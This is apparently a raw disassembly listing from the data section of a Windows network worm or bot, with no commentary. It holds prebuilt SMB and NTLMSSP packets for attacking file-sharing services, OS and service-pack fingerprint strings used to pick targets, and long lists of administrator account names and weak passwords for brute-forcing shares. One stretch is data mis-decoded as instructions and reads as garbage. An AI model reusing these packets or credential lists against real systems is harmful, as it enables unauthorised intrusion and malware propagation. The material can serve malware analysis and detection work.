dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_43C09C dd 20h, 0 dd 20h, 5C005Ch, 0
off_43C0B0 dd offset loc_43005A+2 ; DATA XREF: sub_404105+1B9o
dd offset dword_5C0024
a123456111111_0:
unicode 0, <123456111111111111111.doc>,0
align 10h
dword_43C0F0 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43C124 dd offset word_580046 ; DATA XREF: sub_404105+A2o
; sub_404105+F2o
dd offset loc_42004E
dd offset word_580046
dd offset word_580046
dd offset loc_42004E
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrr_0 db ''
db ''
db '',0
dword_43C200 dd 10016C6h dword_43C204 dd 100139Dh dword_43C208 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; sub_4044F6+C01o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43C254 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; sub_4044F6+C40o
dword_43C270 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_4044F6+B1Bo
; sub_4044F6+C75o
dword_43C284 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4044F6+B3Fo
; sub_4044F6+C9Co
unk_43C298 db 81h ; ; DATA XREF: sub_4044F6+AAo
; sub_4044F6+916o
db 2 dup(0), 44h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedcaca db ' EKEDFEEIEDCACACACACACACACACACAAA',0
dd 0
dword_43C2E4 dd 2F000000h, 424D53FFh, 72h, 4 dup(0) ; sub_4044F6+948o
dd 25C0000h, 0
dd 2000C00h, 4C20544Eh, 2E30204Dh, 3231h
dword_43C318 dd 48000000h, 424D53FFh, 73h, 4 dup(0) ; sub_4044F6+973o
dd 25C0000h, 0
dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
dd 1000000h, 0B000000h, 6E000000h, 79700074h, 626D73h
dd 0
db 81h ;
db 2 dup(0), 44h
aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedca_0 db ' EKEDFEEIEDCACACACACACACACACACAAA',0
dd 2 dup(0)
dword_43C3B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_4044F6+2C8o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_43C448 dd 0B9000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_4044F6+2FCo
dd 0C0750000h, 6DD70000h, 0FF0Ch, 2FFDF00h, 100h, 5B000000h
dd 0
db 0
db 5Ch, 0D0h, 0
db 80h ; €
db 7Eh, 0, 60h
db 59h ; Y
db 2 dup(6), 2Bh
db 6
db 1, 2 dup(5)
db 2
db 0A0h, 4Fh, 30h
db 4Dh ; M
db 0A0h, 0Eh, 30h
db 0Ch
db 6, 0Ah, 2Bh
db 6
db 1, 4, 1
db 82h ; ‚
db 37h, 2 dup(2)
db 0Ah
db 0A2h, 3Bh, 4
a9ntlmssp db '9NTLMSSP',0
db 1, 2 dup(0)
db 0
db 1, 2, 8
db 0
db 9, 0, 9
db 0
db 20h, 2 dup(0)
db 0
db 10h, 0, 10h
db 0
db 29h, 2 dup(0)
db 0
aWorkgrouplqpxf db 'WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
align 4
dword_43C508 dd 0D010000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_4044F6+381o
dd 0C0750000h
dword_43C528 dd 6DD72000h, 0FF0Ch, 2FFDF00h, 100h, 0AF000000h, 0
; DATA XREF: sub_4044F6+36Eo
dd 0D05C00h, 0A100D280h, 8130AC81h, 0A681A2A9h, 4EA38104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 12000000h, 70001200h, 0
dd 82000000h, 20000000h, 82002000h, 0
dd 0A2000000h, 1000000h, 0ED000802h, 778839B7h, 0BE16D7h
dd 3 dup(0)
db 0
db 2 dup(0), 42h
db 0AEh ; ®
db 0B7h, 1Fh, 0BBh
db 6Dh ; m
db 0C1h, 84h, 99h
db 1
aKXEcTijW db 'k',8,'±xºeC',0Ah
db 'ÓšâI†)W',0
dd offset byte_52004F
dd offset byte_47004B
dd offset word_4F0052
dd offset byte_500055
dd offset dword_51006C
db 50h, 0, 78h
db 0
db 66h, 0, 32h
db 0
dd offset byte_530049
dd offset byte_670051
dd offset byte_560045
dd offset byte_620031
dd offset byte_4B0047
align 2
aWindows2000219 db 'Windows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
align 10h
dword_43C620 dd 6B000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+3B2o
dd 0C0750000h, 6DD70000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
dd 40000000h, 2E000000h, 4F570000h, 52474B52h, 50554Fh
aWindows20002_0 db 'Windows 2000 2195',0
aWindows20005_2 db 'Windows 2000 5.0',0
align 10h
dword_43C690 dd 37000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+3FFo
dd 0C0750000h
dword_43C6B0 dd 6DD72001h, 0FF04h, 1000000h, 0C00h, 24435049h, 3F3F3F00h
; DATA XREF: sub_4044F6+3EFo
dd 3F3Fh, 0
dword_43C6D0 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+4D1o
; sub_4044F6+6D3o
dword_43C6EC dd 4780800h ; sub_4044F6+6B3o
dword_43C6F0 dd 400800h, 0DE00FF18h, 800DEh, 16h, 0 ; sub_4044F6+6C3o
dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 2 dup(0)
dword_43C738 dd 5B000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+468o
dword_43C754 dd 4780800h dword_43C758 dd 400800h, 0DE00FF18h, 700DEh, 16h, 0 dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 5C000803h, 53565253h, 4356h
dword_43C798 dd 3F020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+54Do
; sub_4044F6+74Fo
dword_43C7B4 dd 4780800h ; sub_4044F6+71Co
dword_43C7B8 dd 400800h, 0FF0Eh ; sub_4044F6+72Co
db 0
byte_43C7C1 db 0, 40h, 0 ; DATA XREF: sub_4044F6+53Ao
; sub_4044F6+73Co
dd 0FF000000h, 8FFFFFFh, 20000h, 3F020000h, 0
dd 5020000h, 10030B00h, 0
dd 2, 0D0000000h, 16D016h, 0B000000h, 0
dd 84000100h, 1FB33323h, 2C0E9508h, 0C32C304Ah, 1830708h
dd 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
dd 1000000h, 0BE000100h, 54A71E0Eh, 91E02161h, 23E45A04h
dd 2D082E6h, 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
dd 2604810h, 2000000h, 0E9000100h, 0E77F4FDFh, 0A54D6B2Bh
dd 833CAAD4h, 0A10315h, 4000200h, 0EB8A885Dh, 9F11C91Ch
dd 2B0008E8h, 2604810h, 3000000h, 0AD000100h, 19D89A50h
dd 1CF35CB9h, 0AD534199h, 175601Eh, 4000000h, 0EB8A885Dh
dd 9F11C91Ch, 2B0008E8h, 2604810h, 4000000h, 97000100h
dd 409F7E21h, 0D7BEC99Eh, 0F1B0A4EBh, 595FE37h, 4000300h
dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 5000000h
dd 0FD000100h, 858B52C8h, 8B3A74CCh, 30E02915h, 216ACCDh
dd 4000100h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
dd 6000000h, 5B000100h, 0E19ACBDEh, 1F728325h, 92A2A310h
dd 7636E7h, 4000200h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
dd 2604810h, 7000000h, 74000100h, 9C0CDF4h, 0BEF37F2Dh
dd 0C3573B8h, 1685206h, 4000000h, 0EB8A885Dh, 9F11C91Ch
dd 2B0008E8h, 2604810h, 8000000h, 0E5000100h, 0E1EA256Ch
dd 4AC21B8Ah, 29885617h, 106C3EEh, 4000200h, 0EB8A885Dh
dd 9F11C91Ch, 2B0008E8h, 2604810h, 9000000h, 26000100h
dd 4D7D7050h, 7BAF8288h, 0EA1D963Dh, 29A17EBh, 4000100h
dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 0A000000h
dd 0C8000100h, 704B324Fh, 1201D316h, 0BF475A78h, 388E16Eh
dd 4000000h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
dd 2 dup(0)
dword_43C9E0 dd 3B000000h, 424D53FFh, 2Eh, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+5BDo
; sub_4044F6+66Do ...
dword_43C9FC dd 4780800h ; sub_4044F6+78Fo
dword_43CA00 dd 400800h, 0FF0Ah ; sub_4044F6+79Fo
db 0
byte_43CA09 db 0, 40h, 0 ; DATA XREF: sub_4044F6+5ADo
; sub_4044F6+7AFo
dd 80000000h, 0FFBB80BBh, 0FFFFFFh, 2 dup(0)
dword_43CA20 dd 0A3000000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+630o
dword_43CA3C dd 4780800h dword_43CA40 dd 400800h, 0FF0Eh db 0
byte_43CA49 db 0, 40h, 16h ; DATA XREF: sub_4044F6+61Do
dd 0FF000000h, 8FFFFFFh, 6400h, 3F006400h, 0
dd 5006400h, 10030000h, 64000000h, 0
dd 4C000000h, 0A000000h, 1B002200h, 745AB37h, 0
dd 7000000h, 69000000h, 48004600h, 6C006E00h, 4E00h, 0A000000h
dd 0
dd 0A000000h, 6B000000h, 44007600h, 76007300h, 70004300h
dd 71005400h, 1000000h, 0FAh, 2 dup(0)
dword_43CAC8 dd 6F000000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_4044F6+82Fo
dword_43CAE4 dd 304F0800h dword_43CAE8 dd 7C540801h, 0FF0Eh db 0
byte_43CAF1 db 1, 40h, 49h ; DATA XREF: sub_4044F6+81Fo
dd 0FF000001h, 8FFFFFFh, 3000h, 3F003000h, 0
dd 5003000h, 10030000h, 30000000h, 0
dd 18000000h, 0A000000h, 35001C00h, 3329DE9h, 0
dd 3000000h, 4B000000h, 4700h, 0
dword_43CB3C dd 65706970h, 6D70655Ch, 65707061h, 72hdword_43CB4C dd 73255C5Ch, 5Ch ; sub_40978A+18Fo ...
dword_43CB54 dd 646E6957h, 2073776Fh, 302E35haWindows2000Lan db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_4044F6+A29o
align 4
aWindowsServer2 db 'Windows Server 2003 *.*',0 ; DATA XREF: sub_4044F6+A0Ao
aSamba db 'Samba *',0 ; DATA XREF: sub_4044F6+237o
aWindows5_1 db 'Windows 5.1',0 ; DATA XREF: sub_4044F6+21Do
; sub_4044F6+349o
aNtLanManager_ db 'NT LAN Manager *.*',0 ; DATA XREF: sub_4044F6+1E7o
align 4
aServicePack2 db '*Service Pack 2*',0 ; DATA XREF: sub_4044F6+1C5o
align 10h
aServicePack1 db '*Service Pack 1*',0 ; DATA XREF: sub_4044F6+1AAo
align 8
off_43CBE8 dd offset byte_454A34 ; DATA XREF: sub_405990+188r
; sub_405990+190o
dd offset aAdministrator ; "Administrator"
dd offset aAdmin ; "Admin"
dd offset aAdministrador ; "Administrador"
dd offset aAdministrateur ; "Administrateur"
dd offset aAdministrada ; "Administrada"
dd offset aAdministratoro ; "Administratoro"
dd offset aAdministrado_0 ; "Administrador'"
dd offset aAdministratore ; "Administratore"
dd offset aAdministratori ; "Administratori"
dd offset aAdministration ; "Administration"
dd offset aAdministrators ; "Administrators"
dd offset dword_43DD3C
dd offset dword_43DD2C
dd offset aAdministracion ; "Administracion"
dd offset aBeheerder ; "Beheerder"
dd offset aRendszergazda ; "Rendszergazda"
dd offset aVerwalter ; "Verwalter"
dd offset aHallintovirkai ; "Hallintovirkailijat"
dd offset aAmministratore ; "Amministratore"
dd offset aContgenerale ; "Contgenerale"
dd offset aXxxxxx ; "xxxxxx"
dd offset aDefault_0 ; "Default"
dd offset aDefault_1 ; "default"
dd offset aServer ; "Server"
dd offset aUtilizador ; "Utilizador"
dd offset aServidor ; "Servidor"
dd offset aServeur ; "serveur"
dd offset aManager ; "manager"
dd offset aSystem_0 ; "SYSTEM"
dd offset aAdm ; "adm"
dd offset aAdmins ; "admins"
dd offset aAdmin_0 ; "ADMIN"
dd offset aAdmin1 ; "Admin1"
dd offset aOwner ; "owner"
dd offset aRoot ; "root"
dd offset aApacheServer ; "apache server"
dd offset aHttpd ; "httpd"
dd offset aStandard ; "Standard"
dd offset aMaster ; "master"
dd offset aThomas ; "thomas"
dd offset aArsenal ; "arsenal"
dd offset aMonkey ; "monkey"
dd offset aCharlie ; "charlie"
dd offset aLiverpool ; "liverpool"
dd offset aLuna ; "luna"
dd offset aRdp ; "rdp"
dd offset aAsp_net ; "ASP.NET"
dd offset a01 ; "01"
dd offset a02 ; "02"
dd offset a03 ; "03"
dd offset a04 ; "04"
dd offset a05 ; "05"
dd offset aBlah ; "blah"
dd offset aClient ; "Client"
dd offset aClient01 ; "Client01"
dd offset aClient02 ; "Client02"
dd offset aClient03 ; "Client03"
dd offset aClient04 ; "Client04"
dd offset aClient05 ; "Client05"
dd offset aBillGates ; "bill gates"
dd offset aDivx ; "DiVX"
dd offset aDivxServer ; "DiVX-SERVER"
dd offset aExploited ; "exploited"
dd offset dword_43DB48
dd offset off_43DB44
dd offset aGameServer ; "game server"
dd offset aGameserver ; "gameserver"
dd offset aSudo ; "sudo"
dd offset aBox ; "box"
dd offset aBox1 ; "box1"
dd offset aBox2 ; "box2"
dd offset aBox3 ; "box3"
dd offset aBox4 ; "box4"
dd offset aBox5 ; "box5"
dd offset aGuest ; "guest"
dd offset a31337 ; "31337"
dd offset a@_5 ; "!@"
dd offset a@_4 ; "!@#"
dd offset a@_3 ; "!@#$"
; ---------------------------------------------------------------------------
rcr dl, 1
inc ebx
add al, cl
fiadd dword ptr [ebx+0]
rcr dl, 43h
add [eax-4FFFBC26h], bh
fiadd dword ptr [ebx+0]
lodsb
fiadd dword ptr [ebx+0]
test al, 0DAh
inc ebx
add [edx+ebx*8-255FFFBDh], ah
inc ebx
add [edx+ebx*8-2567FFBDh], bl
inc ebx
add [eax-7BFFBC26h], dl
fiadd dword ptr [ebx+0]
sbb dl, 43h
add [eax-26h], bh
inc ebx
add [eax-26h], dh
inc ebx
add [edx+ebx*8+43h], ch
add [eax-26h], ch
loc_43CD6E: ; CODE XREF: ?9:0043CD90j
inc ebx
add [edx+ebx*8+43h], ah
add [edx+ebx*8+43h], bl
add [eax-26h], bl
inc ebx
add [eax-26h], dl
inc ebx
add [eax-26h], al
inc ebx
add [eax], bh
fiadd dword ptr [ebx+0]
xor dl, bl
inc ebx
add [eax], ch
fiadd dword ptr [ebx+0]
js short loc_43CD6E
inc ebx
add [edx+ebx*8], bl
inc ebx
add [eax], dl
fiadd dword ptr [ebx+0]
or dl, bl
inc ebx
; ---------------------------------------------------------------------------
db 0
dd offset aAccount ; "account"
dd offset aAccounting ; "accounting"
dd offset aProftpd ; "proftpd"
dd offset aFtpd ; "ftpd"
dd offset aWarftpd ; "warftpd"
dd offset aLighthttpd ; "lightHTTPD"
dd offset aSlimftp ; "slimftp"
dd offset aServU ; "serv-u"
dd offset aServUFtp ; "Serv-U FTP"
dd offset aProfessional ; "Professional"
dd offset aPc01 ; "pc01"
dd offset aPc02 ; "pc02"
dd offset aPc03 ; "pc03"
dd offset aPc04 ; "pc04"
dd offset aPc05 ; "pc05"
dd offset aBoss ; "BOSS"
dd offset off_43D970
dd offset aFormationplus ; "FormationPLUS"
dd offset dword_43D954
dd offset aWww ; "www"
dd offset aWebserver ; "webserver"
dd offset asc_43D940 ; "X"
dd offset aY ; "y"
dd offset aXxxxxx ; "xxxxxx"
dd 2 dup(0)
off_43CE08 dd offset byte_454A34 ; DATA XREF: sub_405936+3r
; sub_405936+Fo
dd offset asc_43D938 ; " "
dd offset aAdministrator ; "Administrator"
dd offset aAdministrador ; "Administrador"
dd offset aAdministrateur ; "Administrateur"
dd offset aAdministrada ; "Administrada"
dd offset aAdministratoro ; "Administratoro"
dd offset aAdministrado_0 ; "Administrador'"
dd offset aAdministratore ; "Administratore"
dd offset aAdministratori ; "Administratori"
dd offset aAdministration ; "Administration"
dd offset aAdministrators ; "Administrators"
dd offset aAdmin_1 ; "admin"
dd offset aAdmin123 ; "admin123"
dd offset aAccess ; "Access"
dd offset aAdministrato_0 ; "administrator"
dd offset dword_43DD3C
dd offset dword_43DD2C
dd offset aAdministracion ; "Administracion"
dd offset aBeheerder ; "Beheerder"
dd offset aRendszergazda ; "Rendszergazda"
dd offset aVerwalter ; "Verwalter"
dd offset aHallintovirk_0 ; "hallintovirkailijat"
dd offset aAmministratore ; "Amministratore"
dd offset aManager ; "manager"
dd offset aContgenerale ; "Contgenerale"
dd offset aDefault_0 ; "Default"
dd offset aStandard ; "Standard"
dd offset aUtilizador ; "Utilizador"
dd offset aOwner ; "owner"
dd offset aSystem_0 ; "SYSTEM"
dd offset aThomas ; "thomas"
dd offset aArsenal ; "arsenal"
dd offset aMonkey ; "monkey"
dd offset aCharlie ; "charlie"
dd offset aAdm ; "adm"
dd offset aAdmins ; "admins"
dd offset aAdmin_0 ; "ADMIN"
dd offset aAdmin1 ; "Admin1"
dd offset aSudo ; "sudo"
dd offset aLiverpool ; "liverpool"
dd offset aBoss ; "BOSS"
dd offset aDivx ; "DiVX"
dd offset aDivxServer ; "DiVX-SERVER"
dd offset off_43DA58
dd offset aDell ; "Dell"
dd offset aCompaqblah ; "Compaqblah"
dd offset aMaster ; "master"
dd offset aMailserver ; "mailserver"
dd offset aAspnet ; "aspnet"
dd offset aAspnet69 ; "aspnet69"
dd offset a31337 ; "31337"
dd offset a01 ; "01"
dd offset a02 ; "02"
dd offset a03 ; "03"
dd offset a04 ; "04"
dd offset a05 ; "05"
dd offset aBox ; "box"
dd offset aBox1 ; "box1"
dd offset aBox2 ; "box2"
dd offset aBox3 ; "box3"
dd offset aBox4 ; "box4"
dd offset aBox5 ; "box5"
dd offset dword_43AB88
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxx_0 ; "xXx"
dd offset a@_3 ; "!@#$"
dd offset a@_2 ; "!@#$%"
dd offset a@_1 ; "!@#$%^"
dd offset a@_0 ; "!@#$%^&"
dd offset a@ ; "!@#$%^&*"
dd offset asc_43D8AC ; "%"
dd offset asc_43D8A8 ; "%%"
dd offset asc_43D8A4 ; "%%%"
dd offset asc_43D89C ; "%%%%"
dd offset asc_43D894 ; "%%%%%"
dd offset dword_43A30C
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a007 ; "007"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a110 ; "110"
dd offset a111 ; "111"
dd offset a111 ; "111"
dd offset a111111 ; "111111"
dd offset a11111111 ; "11111111"
dd offset a11111111 ; "11111111"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a88888888 ; "88888888"
dd offset a31337 ; "31337"
dd offset aPc01 ; "pc01"
dd offset aPc02 ; "pc02"
dd offset aPc03 ; "pc03"
dd offset aPc04 ; "pc04"
dd offset aPc05 ; "pc05"
dd offset aBoss ; "BOSS"
dd offset aAussie ; "aussie"
dd offset dword_43DAAC
dd offset off_43DAA8
dd offset aAaaa ; "AAAA"
dd offset aAsdf ; "asdf"
dd offset aAbcd ; "abcd"
dd offset off_43D750
dd offset aAbc123 ; "abc123"
dd offset aAbcd ; "abcd"
dd offset aAccount? ; "account?"
dd offset aAccounting ; "accounting"
dd offset aAnything ; "anything"
dd offset aApache ; "apache"
dd offset aBillGates ; "bill gates"
dd offset aBillgates ; "billgates"
dd offset aChange ; "change"
dd offset aChangethis ; "changethis"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "changeme!"
dd offset aCustomer ; "customer"
dd offset aClient ; "Client"
dd offset aClient01 ; "Client01"
dd offset aClient02 ; "Client02"
dd offset aClient03 ; "Client03"
dd offset aClient04 ; "Client04"
dd offset aClient05 ; "Client05"
dd offset aClosed_0 ; "closed!"
dd offset aClosed ; "closed"
dd offset aDefaultpass ; "defaultpass"
dd offset aDaemon_0 ; "daemon"
dd offset aDatabase ; "database"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDave ; "dave"
dd offset aDead ; "dead"
dd offset aDesktop ; "desktop"
dd offset aDb1234 ; "db1234"
dd offset aDbpass ; "dbpass"
dd offset aDefault_1 ; "default"
dd offset aExploited ; "exploited"
dd offset off_43D680
dd offset aSmbpass ; "smbpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aE ; "e"
dd offset dword_43D664
dd offset off_43D660
dd offset aEducation ; "education"
dd offset aFucked ; "fucked"
dd offset aFuckyou ; "fuckyou"
dd offset aGuess ; "guess"
dd offset aGuessme ; "guessme"
dd offset aGuest ; "guest"
dd offset aHacked ; "hacked"
dd offset aHax ; "hax"
dd offset aLetmein ; "letmein"
dd offset aL337 ; "l337"
dd offset aL33t ; "l33t"
dd offset aLinux ; "linux"
dd offset aUnix ; "Unix"
dd offset aLogin ; "login"
dd offset aLocal ; "LOCAL"
dd offset aLoginpass ; "loginpass"
dd offset aMyvnc ; "myvnc"
dd offset aMs_user ; "MS_USER"
dd offset aMicrosoft ; "microsoft"
dd offset aMachine ; "machine"
dd offset aMs ; "MS"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aM_1 ; "M$"
dd offset aMysql ; "mysql"
dd offset aMssql ; "mssql"
dd offset aMyvps ; "myvps"
dd offset aMypc ; "mypc"
dd offset aNull_1 ; "NULL"
dd offset aOwn ; "own"
dd offset aOwned ; "owned"
dd offset aOwner ; "owner"
dd offset aPass_1 ; "pass"
dd offset aPass123 ; "pass123"
dd offset aPass1234 ; "pass1234"
dd offset aPasswd ; "passwd"
dd offset aPassword ; "password"
dd offset aPassword_0 ; "PASSWORD"
dd offset aPassword_1 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aPassword123 ; "password123"
dd offset aPw ; "pw"
dd offset aPw123 ; "pw123"
dd offset off_43D508
dd offset aQ ; "q"
dd offset aQaz ; "qaz"
dd offset off_43D504
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aBlink182 ; "blink182"
dd offset aRdp ; "rdp"
dd offset aR00t ; "r00t"
dd offset aRemote ; "remote"
dd offset aRoot ; "root"
dd offset aRooted ; "rooted"
dd offset aTest ; "Test"
dd offset aTest123 ; "test123"
dd offset aTester ; "tester"
dd offset aTesting ; "testing"
dd offset aTrojan ; "trojan"
dd offset aUser1 ; "user1"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUserpass ; "userpass"
dd offset aSa ; "sa"
dd offset aSchool ; "school"
dd offset aSecurity ; "security"
dd offset aSupport ; "support"
dd offset aSysadmin ; "sysadmin"
dd offset aSecret ; "secret"
dd offset aSecrets ; "secrets"
dd offset aSlave ; "slave"
dd offset aStudents ; "students"
dd offset aServidor ; "Servidor"
dd offset aServeur_0 ; "Serveur"
dd offset aServer ; "Server"
dd offset aSql ; "sql"
dd offset aSqlpass ; "sqlpass"
dd offset off_43D40C
dd offset off_43D970
dd offset aVirus ; "virus"
dd offset dword_43D400
dd offset off_43D3FC
dd offset aWin2kpro ; "Win2KPro"
dd offset aWindose ; "windose"
dd offset aWindows ; "windows"
dd offset aWindows2k ; "windows2k"
dd offset aWindows95 ; "windows95"
dd offset aWindows98 ; "windows98"
dd offset aWindowsme ; "windowsME"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindoze ; "windoze"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindoze95 ; "windoze95"
dd offset aWindoze98 ; "windoze98"
dd offset aWindozeme ; "windozeME"
dd offset aWindozexp ; "windozexp"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinnt ; "winnt"
dd offset aWinpass ; "winpass"
dd offset aWinston ; "winston"
dd offset aWinxp ; "winxp"
dd offset aWired ; "wired"
dd offset aWin ; "win"
dd offset aWinxp ; "winxp"
dd offset aWin2k ; "win2k"
dd offset aWindows ; "windows"
dd offset aWww ; "www"
dd offset dword_43AB88
dd offset aY ; "y"
dd offset aXp_0 ; "xp"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aXyzzy ; "xyzzy"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aYxcv ; "yxcv"
dd offset dword_43D2C4
dd offset off_43D2C0
dd offset aZxcv ; "zxcv"
align 8
aZxcv db 'zxcv',0 ; DATA XREF: ?9:0043D2B0o
align 10h
off_43D2C0 dd offset word_63787A ; DATA XREF: ?9:0043D2ACo
dword_43D2C4 dd 70617Ah aYxcv db 'yxcv',0 ; DATA XREF: ?9:0043D2A4o
align 10h
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: ?9:0043D2A0o
align 10h
aXyzzy db 'xyzzy',0 ; DATA XREF: ?9:0043D29Co
align 4
aXyz db 'xyz',0 ; DATA XREF: ?9:0043D298o
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: ?9:0043D294o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: ?9:0043D290o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: ?9:0043D28Co
aXxxxx db 'xxxxx',0 ; DATA XREF: ?9:0043D284o
align 4
aXx db 'xx',0 ; DATA XREF: ?9:0043D278o
align 4
aXp_0 db 'xp',0 ; DATA XREF: sub_40A938+8D06o
; sub_40A938+8E80o ...
align 4
aWin2k db 'win2k',0 ; DATA XREF: ?9:0043D260o
align 4
aWin db 'win',0 ; DATA XREF: ?9:0043D258o
aWired db 'wired',0 ; DATA XREF: ?9:0043D254o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: ?9:0043D250o ?9:0043D25Co
align 4
aWinston db 'winston',0 ; DATA XREF: ?9:0043D24Co
aWinpass db 'winpass',0 ; DATA XREF: ?9:0043D248o
aWinnt db 'winnt',0 ; DATA XREF: ?9:0043D244o
align 10h
aWing db 'wing',0 ; DATA XREF: ?9:0043D240o
align 4
aWine db 'wine',0 ; DATA XREF: ?9:0043D23Co
align 10h
aWindozexp db 'windozexp',0 ; DATA XREF: ?9:0043D238o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: ?9:0043D234o
